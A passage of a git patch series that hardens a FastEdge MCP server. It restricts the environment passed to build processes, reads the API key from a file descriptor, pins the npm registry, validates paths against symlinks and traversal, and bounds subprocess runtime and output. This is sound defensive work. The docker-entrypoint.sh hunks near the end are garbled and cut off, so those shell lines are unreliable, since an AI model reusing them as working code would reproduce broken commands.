${leaked.join(", ")}`); +}); + +test("buildSubprocessEnv retains PATH", () => { + const env = buildSubprocessEnv(); + assert.ok("PATH" in env, "PATH must be present"); +}); + +test("buildSubprocessEnv retains HOME", () => { + const env = buildSubprocessEnv(); + assert.ok("HOME" in env, "HOME must be present"); +}); diff --git a/src/api-client.ts b/src/api-client.ts index efef55d..6649bbb 100644 --- a/src/api-client.ts +++ b/src/api-client.ts @@ -9,6 +9,16 @@ import { GCORE_API_BASE as BAKED_GCORE_API_BASE } from "./generated/config.js"; export const GCORE_API_BASE = process.env.GCORE_API_BASE || BAKED_GCORE_API_BASE; +// Validate the base URL at startup so a misconfigured GCORE_API_BASE fails +// fast with a readable message rather than throwing inside a request handler. +let GCORE_API_ORIGIN: string; +try { + GCORE_API_ORIGIN = new URL(GCORE_API_BASE).origin; +} catch { + console.error(`Fatal: GCORE_API_BASE "${GCORE_API_BASE}" is not a valid URL. Set a correct URL (e.g. https://api.gcore.com) and restart.`); + process.exit(1); +} + export const DEFAULT_TIMEOUT_MS = 60_000; /** @@ -79,11 +89,7 @@ export function serializeBody( export async function callGcoreApi( opts: ApiCallOptions, ): Promise { - const authorization = - opts.authHeader ?? - (process.env.GCORE_API_KEY - ? `APIKey ${process.env.GCORE_API_KEY}` - : null); + const authorization = opts.authHeader ?? null; if (!authorization) { return { status: 0, @@ -106,7 +112,7 @@ export async function callGcoreApi( } catch { return { status: 0, data: { error: `Invalid API path: ${opts.path}` } }; } - if (url.origin !== new URL(GCORE_API_BASE).origin) { + if (url.origin !== GCORE_API_ORIGIN) { return { status: 0, data: { diff --git a/src/server.ts b/src/server.ts index dfab6e1..1aea447 100644 --- a/src/server.ts +++ b/src/server.ts @@ -1,3 +1,4 @@ +import fs from "node:fs"; import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js"; @@ -5,14 +6,28 @@ import { registerAllPrompts } from "./prompts/index.js"; import { registerAllTools } from "./tools/index.js"; import { registerAllResources } from "./resources/index.js"; +function readApiKey(): string | undefined { + try { + const k = fs.readFileSync(3, "utf8").trim(); + if (k) return k; + } catch {} + // Fallback for non-Docker local development (env var not passed via fd 3). + const k = process.env.GCORE_API_KEY ?? process.env.FASTEDGE_API_KEY; + // Keeps the key out of {...process.env} spreads; does not remove it from + // /proc//environ — the fd 3 path in docker-entrypoint.sh handles that + // for Docker. + delete process.env.GCORE_API_KEY; + delete process.env.FASTEDGE_API_KEY; + return k; +} + const server = new McpServer({ name: "FastEdge Vibe Agent", version: "1.0.0", }); const WORKSPACE_ROOT = process.env.WORKSPACE_ROOT || process.cwd(); -const GCORE_API_KEY = - process.env.GCORE_API_KEY || process.env.FASTEDGE_API_KEY || ""; +const GCORE_API_KEY = readApiKey() ?? ""; registerAllTools(server, { workspaceRoot: WORKSPACE_ROOT, diff --git a/src/tools/api/batch-execute.ts b/src/tools/api/batch-execute.ts index 2484ee3..dd1a156 100644 --- a/src/tools/api/batch-execute.ts +++ b/src/tools/api/batch-execute.ts @@ -324,7 +324,9 @@ export const batchCallSchema = z } }); -export function registerBatchExecuteTool(server: McpServer) { +export function registerBatchExecuteTool(server: McpServer, gcoreApiKey: string) { + const authedCaller = (opts: ApiCallOptions) => + callGcoreApi({ ...opts, authHeader: `APIKey ${gcoreApiKey}` }); server.registerTool( "batch_execute", { @@ -335,6 +337,6 @@ export function registerBatchExecuteTool(server: McpServer) { calls: z.array(batchCallSchema), }, }, - async ({ calls }) => batchExecuteHandler({ calls: calls as BatchCall[] }), + async ({ calls }) => batchExecuteHandler({ calls: calls as BatchCall[] }, authedCaller), ); } diff --git a/src/tools/api/gcore-api.ts b/src/tools/api/gcore-api.ts index 0eeb63c..16c513f 100644 --- a/src/tools/api/gcore-api.ts +++ b/src/tools/api/gcore-api.ts @@ -66,7 +66,9 @@ export const gcoreApiBodySchema = z "Request body. MUST be a JSON object or array (never a JSON-encoded string). Example: { name: 'foo', binary: 123 }. The MCP layer serializes it before sending; pre-stringifying causes the Gcore gateway to reject with 'value must be an object'.", ); -export function registerGcoreApiTool(server: McpServer) { +export function registerGcoreApiTool(server: McpServer, gcoreApiKey: string) { + const authedCaller = (opts: ApiCallOptions) => + callGcoreApi({ ...opts, authHeader: `APIKey ${gcoreApiKey}` }); server.registerTool( "gcore_api", { @@ -83,6 +85,6 @@ export function registerGcoreApiTool(server: McpServer) { body: gcoreApiBodySchema, }, }, - async (input) => gcoreApiHandler(input as GcoreApiInput), + async (input) => gcoreApiHandler(input as GcoreApiInput, authedCaller), ); } diff --git a/src/tools/api/index.ts b/src/tools/api/index.ts index 3ed5c4b..a813683 100644 --- a/src/tools/api/index.ts +++ b/src/tools/api/index.ts @@ -10,9 +10,9 @@ export function registerApiTools( server: McpServer, options: { workspaceRoot: string; gcoreApiKey: string }, ) { - registerGcoreApiTool(server); + registerGcoreApiTool(server, options.gcoreApiKey); registerDescribeApiTool(server); registerWorkflowsListTool(server); - registerBatchExecuteTool(server); + registerBatchExecuteTool(server, options.gcoreApiKey); registerUploadBinaryTool(server, options.gcoreApiKey, options.workspaceRoot); } diff --git a/src/tools/local/scaffolding/scaffolds.ts b/src/tools/local/scaffolding/scaffolds.ts index f2b096e..08c895f 100644 --- a/src/tools/local/scaffolding/scaffolds.ts +++ b/src/tools/local/scaffolding/scaffolds.ts @@ -1,12 +1,26 @@ import dedent from "dedent"; import { exec, execFile } from "node:child_process"; import { promisify } from "node:util"; +import { tmpdir } from "node:os"; import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js"; import { z } from "zod"; import { ToolOptions } from "../../index.js"; import { availableFastEdgeTemplates } from "./index.js"; -import { normalizePath, INVALID_PATH } from "../../../utils/index.js"; +import { normalizePath, INVALID_PATH, buildSubprocessEnv } from "../../../utils/index.js"; + +// Exact version of create-fastedge-app to use. Update this when the package releases +// a new version — do not use @beta or @latest (workspace .npmrc can redirect the registry). +const CREATE_APP_PKG = "create-fastedge-app@0.0.16"; + +// Override npm/npx config to prevent a workspace .npmrc from redirecting the +// registry to an attacker-controlled host. USERCONFIG=/dev/null disables the +// user-level config; npm_config_registry overrides the project-level one. +const NPM_SAFE_ENV = { + ...buildSubprocessEnv(), + npm_config_registry: "https://registry.npmjs.org/", + NPM_CONFIG_USERCONFIG: "/dev/null", +}; import type { Language, ScaffoldTemplateType } from "./types.js"; @@ -34,12 +48,15 @@ export function registerListAvailableTemplates( async () => { const startTime = Date.now(); try { - // Fetch templates from create-fastedge-app CLI - // Use --yes to skip npx prompts, and set a timeout - const command = "npx --yes create-fastedge-app@beta --list-templates"; + // Fetch templates from create-fastedge-app CLI. + // Run from tmpdir so a workspace .npmrc cannot redirect the registry; + // NPM_SAFE_ENV pins the registry and disables user-level npm config. + const command = `npx --yes ${CREATE_APP_PKG} --list-templates`; const { stdout, stderr } = await execAsync(command, { - timeout: 30000, // 30 second timeout - maxBuffer: 10 * 1024 * 1024, // 10MB buffer + cwd: tmpdir(), + env: NPM_SAFE_ENV, + timeout: 30000, + maxBuffer: 10 * 1024 * 1024, }); if (stderr) { @@ -155,7 +172,7 @@ export function registerCreateBoilerPlateCode( // - --pnpm or --yarn: Use alternative package manager (optional) const args = [ "--yes", - "create-fastedge-app@beta", + CREATE_APP_PKG, outputPath, "--template", params.template, @@ -166,15 +183,15 @@ export function registerCreateBoilerPlateCode( : []), ]; - // Execute via execFile with an args array instead of a shell command string, - // so outputPath can never be interpreted as shell syntax. No shell on any - // platform: this server only ships as a Linux Docker image (see - // DEVELOPMENT.md) — native Windows execution isn't a supported path. + // Execute via execFile with an args array — no shell, outputPath never + // interpreted as shell syntax. NPM_SAFE_ENV prevents a workspace .npmrc + // from redirecting the npm registry. Run from tmpdir so a workspace + // .npmrc cannot influence package resolution (outputPath is absolute). const { stderr } = await execFileAsync("npx", args, { - cwd: options.workspaceRoot, - env: process.env, - timeout: 120000, // 2 minute timeout for scaffolding + npm install - maxBuffer: 10 * 1024 * 1024, // 10MB buffer + cwd: tmpdir(), + env: NPM_SAFE_ENV, + timeout: 120000, + maxBuffer: 10 * 1024 * 1024, }); const elapsed = Date.now() - startTime; @@ -248,7 +265,7 @@ export function registerCreateBoilerPlateCode( type: "text", text: `Failed to scaffold FastEdge project after ${elapsed}ms: ${ error?.message || String(error) - }\n\nMake sure create-fastedge-app is available via npx.\n\nDebug: Try running manually:\nnpx --yes create-fastedge-app@beta ./test-dir --template ${params.template} --${params.language} --no-verify`, + }\n\nMake sure create-fastedge-app is available via npx.\n\nDebug: Try running manually:\nnpx --yes ${CREATE_APP_PKG} ./test-dir --template ${params.template} --${params.language} --no-verify`, }, ], }; diff --git a/src/tools/local/workspace/compiler/asBuild.ts b/src/tools/local/workspace/compiler/asBuild.ts index 4b8ba1f..ba4e0ba 100644 --- a/src/tools/local/workspace/compiler/asBuild.ts +++ b/src/tools/local/workspace/compiler/asBuild.ts @@ -1,14 +1,21 @@ -import { spawn } from "child_process"; import fs from "fs"; import path from "path"; -import { wasmOutputPermissions } from "./utils.js"; +import { wasmOutputPermissions, spawnBounded } from "./utils.js"; +import { buildSubprocessEnv, normalizePath, INVALID_PATH } from "../../../../utils/index.js"; + +const MAX_BUILD_MS = 180_000; +const MAX_OUTPUT_BYTES = 10 * 1024 * 1024; interface AsConfig { targets?: Record; } -function readAsConfigOutFile(buildRoot: string, targetName: string): string { +function readAsConfigOutFile( + buildRoot: string, + targetName: string, + workspaceRoot: string +): string { const configPath = path.join(buildRoot, "asconfig.json"); if (!fs.existsSync(configPath)) { throw new Error( @@ -30,55 +37,49 @@ function readAsConfigOutFile(buildRoot: string, targetName: string): string { "either supply an explicit outputFile to build-wasm, or configure the target in asconfig.json." ); } - return path.join(buildRoot, target.outFile); + // outFile is user-controlled (from asconfig.json) — validate against workspace + const rawAbs = path.join(buildRoot, target.outFile); + const rel = path.relative(workspaceRoot, rawAbs); + const checked = normalizePath(workspaceRoot, rel); + if (checked === INVALID_PATH) { + throw new Error( + `asconfig.json outFile "${target.outFile}" escapes the workspace boundary` + ); + } + return checked; } -export function compileAssemblyScriptBinary( +export async function compileAssemblyScriptBinary( entryFilePath: string, outputFilePath: string | null, - cwd: string -) { - return new Promise(async (resolve, reject) => { - try { - const resolvedOutput = - outputFilePath ?? readAsConfigOutFile(cwd, "release"); - - const ascArgs = ["asc", entryFilePath, "--target", "release"]; - if (outputFilePath) { - ascArgs.push("--outFile", outputFilePath); - } - - const asBuild = spawn("npx", ascArgs, { - // No shell, on any platform: this server only ships as a Linux Docker - // image (see DEVELOPMENT.md) — native Windows execution of build tooling - // isn't a supported path, so there's no reason to open a shell for it. - stdio: ["ignore", "pipe", "pipe"], - cwd, - env: { ...process.env }, - }); + cwd: string, + workspaceRoot: string +): Promise { + const resolvedOutput = + outputFilePath ?? readAsConfigOutFile(cwd, "release", workspaceRoot); - let stderr = ""; + const ascArgs = ["asc", entryFilePath, "--target", "release"]; + if (outputFilePath) { + ascArgs.push("--outFile", outputFilePath); + } - asBuild.stderr?.on("data", (data: Buffer) => { - stderr += data; - }); + const result = await spawnBounded("npx", ascArgs, { + cwd, + env: buildSubprocessEnv(), + timeoutMs: MAX_BUILD_MS, + maxOutputBytes: MAX_OUTPUT_BYTES, + }); - // Without a shell, a missing `npx` surfaces as an async 'error' event, not - // an exit code. Unhandled, that kills the whole MCP server process. - asBuild.on("error", (err: Error) => { - reject(new Error(`failed to start asc build: ${err.message}`)); - }); + if (result.truncated) { + throw new Error(`asc build killed: output exceeded ${MAX_OUTPUT_BYTES} bytes`); + } + if (result.signal === "SIGKILL") { + throw new Error(`asc build timed out after ${MAX_BUILD_MS}ms`); + } + if (result.code !== 0) { + throw new Error(`asc build exited with code ${result.code}: ${result.stderr}`); + } - asBuild.on("close", (code: number) => { - if (code !== 0) { - reject(new Error(`asc build exited with code ${code}: ${stderr}`)); - return; - } - wasmOutputPermissions(resolvedOutput, cwd); - resolve(resolvedOutput); - }); - } catch (err) { - reject(err); - } - }); + wasmOutputPermissions(resolvedOutput, workspaceRoot); + return resolvedOutput; } diff --git a/src/tools/local/workspace/compiler/index.ts b/src/tools/local/workspace/compiler/index.ts index 52cbd3a..33dc018 100644 --- a/src/tools/local/workspace/compiler/index.ts +++ b/src/tools/local/workspace/compiler/index.ts @@ -90,28 +90,40 @@ export async function buildWasmBinary( const language = getActiveFileLanguage(entryFilePath, currWorkingDir); + // Default output path comes from a fixed relative path but still validate + // it — a symlink at wasm/output.wasm would bypass caller-supplied path checks. + let defaultOutput: string | null = null; + if (!wasmBinaryPath) { + const checked = normalizePath(workspaceRoot, "wasm/output.wasm"); + if (checked === INVALID_PATH) { + throw new Error("Default output path wasm/output.wasm is invalid (symlink in place?)"); + } + defaultOutput = checked; + } + if (language === "rust") { return await compileRustAndFindBinary( entryFilePath, - wasmBinaryPath ?? path.join(workspaceRoot, "wasm/output.wasm"), - currWorkingDir + wasmBinaryPath ?? defaultOutput!, + currWorkingDir, + workspaceRoot ); } if (language === "assemblyscript") { - // wasmBinaryPath may be null here — compileAssemblyScriptBinary will - // resolve the output from asconfig.json targets.release.outFile. return await compileAssemblyScriptBinary( entryFilePath, wasmBinaryPath, - currWorkingDir + currWorkingDir, + workspaceRoot ); } return await compileJavascriptBinary( entryFilePath, - wasmBinaryPath ?? path.join(workspaceRoot, "wasm/output.wasm"), + wasmBinaryPath ?? defaultOutput!, currWorkingDir, + workspaceRoot, tsconfig ); } diff --git a/src/tools/local/workspace/compiler/jsBuild.ts b/src/tools/local/workspace/compiler/jsBuild.ts index ccf5c93..fc66be5 100644 --- a/src/tools/local/workspace/compiler/jsBuild.ts +++ b/src/tools/local/workspace/compiler/jsBuild.ts @@ -1,66 +1,50 @@ -import { spawn } from "child_process"; import { wasmOutputPermissions, setupCrossPlatformEnvironment, + spawnBounded, } from "./utils.js"; +import { buildSubprocessEnv } from "../../../../utils/index.js"; -export function compileJavascriptBinary( +const MAX_BUILD_MS = 180_000; +const MAX_OUTPUT_BYTES = 10 * 1024 * 1024; + +export async function compileJavascriptBinary( entryFilePath: string, wasmBinaryPath: string, cwd: string, + workspaceRoot: string, tsconfigPath?: string -) { - return new Promise(async (resolve, reject) => { - try { - setupCrossPlatformEnvironment(); - - const jsBuild = spawn( - "npx", - [ - "fastedge-build", - "--input", - entryFilePath, - "--output", - wasmBinaryPath, - ...(tsconfigPath ? ["--tsconfig", tsconfigPath] : []), - ], - { - // No shell, on any platform: this server only ships as a Linux Docker - // image (see DEVELOPMENT.md) — native Windows execution of build tooling - // isn't a supported path, so there's no reason to open a shell for it. - stdio: ["ignore", "pipe", "pipe"], - cwd, - env: { ...process.env }, - } - ); - - let stdout = ""; - let stderr = ""; +): Promise { + setupCrossPlatformEnvironment(); - jsBuild.stdout?.on("data", (data: Buffer) => { - stdout += data; - }); - - jsBuild.stderr?.on("data", (data: Buffer) => { - stderr += data; - }); + const result = await spawnBounded( + "npx", + [ + "fastedge-build", + "--input", + entryFilePath, + "--output", + wasmBinaryPath, + ...(tsconfigPath ? ["--tsconfig", tsconfigPath] : []), + ], + { + cwd, + env: buildSubprocessEnv(), + timeoutMs: MAX_BUILD_MS, + maxOutputBytes: MAX_OUTPUT_BYTES, + } + ); - // Without a shell, a missing `npx` surfaces as an async 'error' event, not - // an exit code. Unhandled, that kills the whole MCP server process. - jsBuild.on("error", (err: Error) => { - reject(new Error(`failed to start build: ${err.message}`)); - }); + if (result.truncated) { + throw new Error(`build killed: output exceeded ${MAX_OUTPUT_BYTES} bytes`); + } + if (result.signal === "SIGKILL") { + throw new Error(`build timed out after ${MAX_BUILD_MS}ms`); + } + if (result.code !== 0) { + throw new Error(`build exited with code ${result.code}: ${result.stderr}`); + } - jsBuild.on("close", (code: number) => { - if (code !== 0) { - reject(new Error(`build exited with code ${code}: ${stderr}`)); - return; - } - wasmOutputPermissions(wasmBinaryPath, cwd); - resolve(wasmBinaryPath); - }); - } catch (err) { - reject(err); - } - }); + wasmOutputPermissions(wasmBinaryPath, workspaceRoot); + return wasmBinaryPath; } diff --git a/src/tools/local/workspace/compiler/rustBuild.ts b/src/tools/local/workspace/compiler/rustBuild.ts index 018d343..dfe2093 100644 --- a/src/tools/local/workspace/compiler/rustBuild.ts +++ b/src/tools/local/workspace/compiler/rustBuild.ts @@ -1,12 +1,16 @@ -import { spawn } from "child_process"; import * as fs from "node:fs"; import * as path from "node:path"; import * as toml from "toml"; -import { wasmOutputPermissions } from "./utils.js"; +import { wasmOutputPermissions, spawnBounded } from "./utils.js"; +import { buildSubprocessEnv } from "../../../../utils/index.js"; -function findCargoConfig(startDir: string): string | null { +const MAX_BUILD_MS = 300_000; // Rust cold builds are legitimately slow +const MAX_OUTPUT_BYTES = 10 * 1024 * 1024; + +function findCargoConfig(startDir: string, workspaceRoot: string): string | null { let dir = startDir; - while (dir !== path.parse(dir).root) { + const root = path.resolve(workspaceRoot); + while (dir.startsWith(root) && dir !== path.parse(dir).root) { const configPath = path.join(dir, ".cargo", "config.toml"); if (fs.existsSync(configPath)) { return configPath; @@ -16,9 +20,10 @@ function findCargoConfig(startDir: string): string | null { return null; } -function findCargoToml(startDir: string): string | null { +function findCargoToml(startDir: string, workspaceRoot: string): string | null { let dir = startDir; - while (dir !== path.parse(dir).root) { + const root = path.resolve(workspaceRoot); + while (dir.startsWith(root) && dir !== path.parse(dir).root) { const cargoPath = path.join(dir, "Cargo.toml"); if (fs.existsSync(cargoPath)) { return cargoPath; @@ -28,10 +33,10 @@ function findCargoToml(startDir: string): string | null { return null; } -function rustConfigWasiTarget(startDir: string): string { +function rustConfigWasiTarget(startDir: string, workspaceRoot: string): string { // Explicit `.cargo/config.toml` `[build] target = ...` wins. try { - const configPath = findCargoConfig(startDir); + const configPath = findCargoConfig(startDir, workspaceRoot); if (configPath !== null) { const configContent = fs.readFileSync(configPath, "utf-8"); const config = toml.parse(configContent); @@ -46,7 +51,7 @@ function rustConfigWasiTarget(startDir: string): string { // Otherwise infer from `Cargo.toml` `[dependencies]`: wstd → wasip2, else wasip1. let wasiTarget = "wasm32-wasip1"; try { - const cargoTomlPath = findCargoToml(startDir); + const cargoTomlPath = findCargoToml(startDir, workspaceRoot); if (cargoTomlPath !== null) { const cargoContent = fs.readFileSync(cargoTomlPath, "utf-8"); const cargo = toml.parse(cargoContent); @@ -62,79 +67,65 @@ function rustConfigWasiTarget(startDir: string): string { return wasiTarget; } -export function compileRustAndFindBinary( +export async function compileRustAndFindBinary( entryFilePath: string, wasmBinaryPath: string, - cwd: string -) { - return new Promise(async (resolve, reject) => { - const target = rustConfigWasiTarget(entryFilePath); - const cargoBuild = spawn( - "cargo", - ["build", "--message-format=json", `--target=${target}`], - { - // No shell: `target` comes from the project's own .cargo/config.toml, - // so shell interpolation would be a command-injection sink (ICM-50655). - stdio: ["ignore", "pipe", "pipe"], - cwd, - env: { ...process.env }, - } - ); + cwd: string, + workspaceRoot: string +): Promise { + const target = rustConfigWasiTarget(entryFilePath, workspaceRoot); - let stdout = ""; - let stderr = ""; + const result = await spawnBounded( + "cargo", + ["build", "--message-format=json", `--target=${target}`], + { + // No shell: `target` comes from the project's own .cargo/config.toml, + // so shell interpolation would be a command-injection sink. + cwd, + env: buildSubprocessEnv(), + timeoutMs: MAX_BUILD_MS, + maxOutputBytes: MAX_OUTPUT_BYTES, + } + ); - cargoBuild.stdout?.on("data", (data: Buffer) => { - stdout += data; - }); + if (result.truncated) { + throw new Error(`cargo build killed: output exceeded ${MAX_OUTPUT_BYTES} bytes`); + } + if (result.signal === "SIGKILL") { + throw new Error(`cargo build timed out after ${MAX_BUILD_MS}ms`); + } + if (result.code !== 0) { + throw new Error(`cargo build exited with code ${result.code}: ${result.stderr}`); + } - cargoBuild.stderr?.on("data", (data: Buffer) => { - stderr += data; - }); + const lines = result.stdout.split("\n"); + for (const line of lines) { + if (!line) { + continue; + } - // Without a shell, a missing `cargo` surfaces as an async 'error' event, not - // an exit code. Unhandled, that kills the whole MCP server process. - cargoBuild.on("error", (err: Error) => { - reject(new Error(`failed to start cargo build: ${err.message}`)); - }); + let message; + try { + message = JSON.parse(line); + } catch (err) { + throw new Error(`Failed to parse cargo output: ${(err as Error).message}`); + } - cargoBuild.on("close", (code: number) => { - if (code !== 0) { - reject(new Error(`cargo build exited with code ${code}: ${stderr}`)); - return; + if ( + message && + message.reason === "compiler-artifact" && + message.filenames && + message.filenames.length === 1 + ) { + if (/.*\.wasm$/.test(message.filenames[0])) { + fs.mkdirSync(path.dirname(wasmBinaryPath), { recursive: true }); + fs.copyFileSync(message.filenames[0], wasmBinaryPath); + fs.unlinkSync(message.filenames[0]); + wasmOutputPermissions(wasmBinaryPath, workspaceRoot); + return wasmBinaryPath; } + } + } - const lines = stdout.split("\n"); - for (const line of lines) { - if (!line) { - continue; - } - - let message; - try { - message = JSON.parse(line); - } catch (err) { - reject( - new Error(`Failed to parse cargo output: ${(err as Error).message}`) - ); - return; - } - - if ( - message && - message.reason === "compiler-artifact" && - message.filenames && - message.filenames.length === 1 - ) { - if (/.*\.wasm$/.test(message.filenames[0])) { - fs.mkdirSync(path.dirname(wasmBinaryPath), { recursive: true }); - fs.copyFileSync(message.filenames[0], wasmBinaryPath); - fs.unlinkSync(message.filenames[0]); - wasmOutputPermissions(wasmBinaryPath, cwd); - return resolve(wasmBinaryPath); - } - } - } - }); - }); + throw new Error("cargo build succeeded but no .wasm artifact was found in output"); } diff --git a/src/tools/local/workspace/compiler/utils.ts b/src/tools/local/workspace/compiler/utils.ts index ed9face..fcfe7b6 100644 --- a/src/tools/local/workspace/compiler/utils.ts +++ b/src/tools/local/workspace/compiler/utils.ts @@ -1,30 +1,29 @@ -import { chmodSync, existsSync, mkdirSync, cpSync } from "fs"; -import { dirname, join } from "path"; +import { spawn } from "child_process"; +import { chmodSync, chownSync, statSync, existsSync, mkdirSync, cpSync, realpathSync } from "fs"; +import { dirname, join, sep } from "path"; -// In MCP docker containers, the output WASM files may have restrictive permissions. -// This function ensures that the output file and its parent directories have -// permissions set to allow read/write/execute for the host user. -function wasmOutputPermissions(wasmBinaryPath: string, cwd: string) { +// Fix ownership of the build output so the host user (who owns the bind-mounted +// workspace) can read/write/delete it after the container writes it. +// Only meaningful when running as root (when the entrypoint could not drop root +// privileges via setpriv); when already running as the workspace owner, files +// are owned correctly and this function is a no-op. +function wasmOutputPermissions(wasmBinaryPath: string, workspaceRoot: string) { try { - // Get the directory containing the output file - const outputDir = dirname(wasmBinaryPath); - let currentDir = outputDir; - while (currentDir !== cwd && currentDir !== "/" && currentDir !== ".") { - try { - chmodSync(currentDir, 0o777); - } catch (dirError) { - console.warn(`Could not set permissions on ${currentDir}:`, dirError); - } - currentDir = dirname(currentDir); + if (process.getuid?.() !== 0) return; + const { uid, gid } = statSync(workspaceRoot); + if (uid === 0) return; // root-owned mount — no meaningful owner to match + chownSync(wasmBinaryPath, uid, gid); + chmodSync(wasmBinaryPath, 0o644); + // Fix any directories the build created under workspaceRoot. + // Use realpathSync + trailing sep so partial name matches (e.g. /workspace2) are rejected. + const root = realpathSync(workspaceRoot) + sep; + let dir = dirname(wasmBinaryPath); + while (dir.startsWith(root)) { + try { chownSync(dir, uid, gid); } catch { /* dir may already be owned correctly */ } + dir = dirname(dir); } - // Ensure the output WASM file has proper permissions for the host user - chmodSync(wasmBinaryPath, 0o777); - } catch (chmodError) { - console.warn( - "Failed to set permissions on output file/directory:", - chmodError - ); - // Don't reject on chmod failure, just warn + } catch (err) { + console.warn("Failed to fix output ownership:", err); } } @@ -63,4 +62,81 @@ function setupCrossPlatformEnvironment(): void { } } +export interface SpawnResult { + stdout: string; + stderr: string; + code: number | null; + signal: string | null; + /** true when the process was killed because output exceeded maxOutputBytes */ + truncated: boolean; +} + +/** + * Spawn a child process bounded by a wall-clock timeout and a combined + * stdout+stderr byte cap. The child runs in its own process group (detached) + * so the entire group — including grandchildren such as wizer, rustc, and + * build scripts — is killed together on timeout or overflow. + */ +export function spawnBounded( + cmd: string, + args: string[], + opts: { + cwd: string; + env: NodeJS.ProcessEnv; + timeoutMs: number; + maxOutputBytes: number; + } +): Promise { + return new Promise((resolve, reject) => { + const child = spawn(cmd, args, { + stdio: ["ignore", "pipe", "pipe"], + cwd: opts.cwd, + env: opts.env, + detached: true, // own process group so we can kill grandchildren + }); + + let stdout = ""; + let stderr = ""; + let truncated = false; + let stdoutBytes = 0; + let stderrBytes = 0; + + function killGroup() { + try { process.kill(-child.pid!, "SIGKILL"); } catch { /* ESRCH — already gone */ } + } + + const timer = setTimeout(killGroup, opts.timeoutMs); + + child.stdout?.on("data", (data: Buffer) => { + stdoutBytes += data.byteLength; + if (stdoutBytes > opts.maxOutputBytes) { + truncated = true; + killGroup(); + return; + } + stdout += data; + }); + + child.stderr?.on("data", (data: Buffer) => { + stderrBytes += data.byteLength; + if (stderrBytes > opts.maxOutputBytes) { + truncated = true; + killGroup(); + return; + } + stderr += data; + }); + + child.on("error", (err) => { + clearTimeout(timer); + reject(new Error(`failed to start process: ${err.message}`)); + }); + + child.on("close", (code, signal) => { + clearTimeout(timer); + resolve({ stdout, stderr, code, signal, truncated }); + }); + }); +} + export { wasmOutputPermissions, setupCrossPlatformEnvironment }; diff --git a/src/utils/index.ts b/src/utils/index.ts index c1ab9d6..743188b 100644 --- a/src/utils/index.ts +++ b/src/utils/index.ts @@ -1,15 +1,22 @@ import path from "node:path"; +import { realpathSync, lstatSync } from "node:fs"; import { Language } from "../tools/local/scaffolding/types.js"; export const INVALID_PATH = "Invalid path: Must be relative to workspace"; +/** + * Resolve a workspace-relative filePath to an absolute path, rejecting anything + * that escapes the workspace root. + * + * Symlinks are rejected outright — even dangling ones that existsSync misses. + * A symlink swapped in after this check is not detected (TOCTOU); accepted limitation. + */ export function normalizePath(workspaceRoot: string, filePath: string): string { - // Security: Ensure the path doesn't escape the workspace - // Convert Windows-style paths to POSIX-style for cross-platform compatibility + if (filePath.includes("\0")) return INVALID_PATH; // path contains null byte + const posixPath = filePath.replace(/\\/g, "/"); const normalizedPath = path.normalize(posixPath); - // Check for path traversal attempts or absolute paths (including Windows drive letters) if ( normalizedPath.startsWith("..") || path.isAbsolute(normalizedPath) || @@ -18,7 +25,52 @@ export function normalizePath(workspaceRoot: string, filePath: string): string { return INVALID_PATH; } - return path.join(workspaceRoot, normalizedPath); + const rootReal = realpathSync(workspaceRoot); + const candidate = path.join(rootReal, normalizedPath); + + // For output paths that don't exist yet, walk up to the nearest existing ancestor. + let probe = candidate; + while (probe !== path.dirname(probe)) { + let stat: ReturnType; + try { + stat = lstatSync(probe); + } catch (e: any) { + if (e?.code === "ENOENT") { probe = path.dirname(probe); continue; } + return INVALID_PATH; + } + if (stat.isSymbolicLink()) return INVALID_PATH; // symlinks rejected + const probeReal = realpathSync(probe); + if (probeReal !== rootReal && !probeReal.startsWith(rootReal + path.sep)) { + return INVALID_PATH; + } + return candidate; + } + + return INVALID_PATH; // walked to filesystem root — outside workspace +} + +/** + * Minimal environment for build/scaffold child processes. + * Allowlist avoids leaking ambient secrets (e.g. API keys) to untrusted + * build code (build.rs, proc-macros, npm lifecycle scripts). The allowlist + * is intentionally narrow; if a build fails with a missing var, add it here + * rather than reverting to `process.env` spread. + */ +export function buildSubprocessEnv(): NodeJS.ProcessEnv { + const PASSTHROUGH = [ + "PATH", "HOME", "LANG", "LC_ALL", "TERM", + "CARGO_HOME", "RUSTUP_HOME", "WASI_SYSROOT", + "npm_config_cache", "NODE_PATH", + ]; + const env: NodeJS.ProcessEnv = {}; + for (const k of PASSTHROUGH) { + if (process.env[k]) env[k] = process.env[k]; + } + // CC_*/CXX_* per-target cross-compiler vars set by the Dockerfile for wasm builds. + for (const k of Object.keys(process.env)) { + if (/^(CC|CXX|CFLAGS|CXXFLAGS)_/.test(k) && process.env[k]) env[k] = process.env[k]; + } + return env; } export function isJsDerivedLanguage(lang: Language) { From 3600cd0b47ee20cd8df80197faa99b7a209a594d Mon Sep 17 00:00:00 2001 From: Gordon Farquharson Date: Wed, 9 Sep 2026 10:06:16 +0100 Subject: [PATCH 3/5] MoM review --- .github/workflows/pr-tests.yaml | 2 +- docker-entrypoint.sh | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/pr-tests.yaml b/.github/workflows/pr-tests.yaml index 093dd0f..4759876 100644 --- a/.github/workflows/pr-tests.yaml +++ b/.github/workflows/pr-tests.yaml @@ -5,7 +5,7 @@ on: jobs: test: - runs-on: [self-hosted, ubuntu-22-04, regular] + runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 diff --git a/docker-entrypoint.sh b/docker-entrypoint.sh index 49b993b..f2f059e 100755 --- a/docker-entrypoint.sh +++ b/docker-entrypoint.sh @@ -63,7 +63,7 @@ if [ "$(id -u)" = "0" ] && [ "$target_uid" != "0" ] && command -v setpriv >/dev/ chown "$target_uid:$target_gid" "$HOME" export HOME exec 3<&2 exec 3< Date: Wed, 9 Sep 2026 10:07:46 +0100 Subject: [PATCH 4/5] Potential fix for pull request finding 'CodeQL / Workflow does not contain permissions' Co-authored-by: Copilot Autofix powered by AI <62310815+github-advanced-security[bot]@users.noreply.github.com> --- .github/workflows/pr-tests.yaml | 3 +++ 1 file changed, 3 insertions(+) diff --git a/.github/workflows/pr-tests.yaml b/.github/workflows/pr-tests.yaml index 4759876..062fc9d 100644 --- a/.github/workflows/pr-tests.yaml +++ b/.github/workflows/pr-tests.yaml @@ -3,6 +3,9 @@ name: CI on: pull_request: +permissions: + contents: read + jobs: test: runs-on: ubuntu-latest From e31a32b84a65f8711bcc78ac1c8ac76c6293be63 Mon Sep 17 00:00:00 2001 From: Gordon Farquharson Date: Wed, 9 Sep 2026 10:16:07 +0100 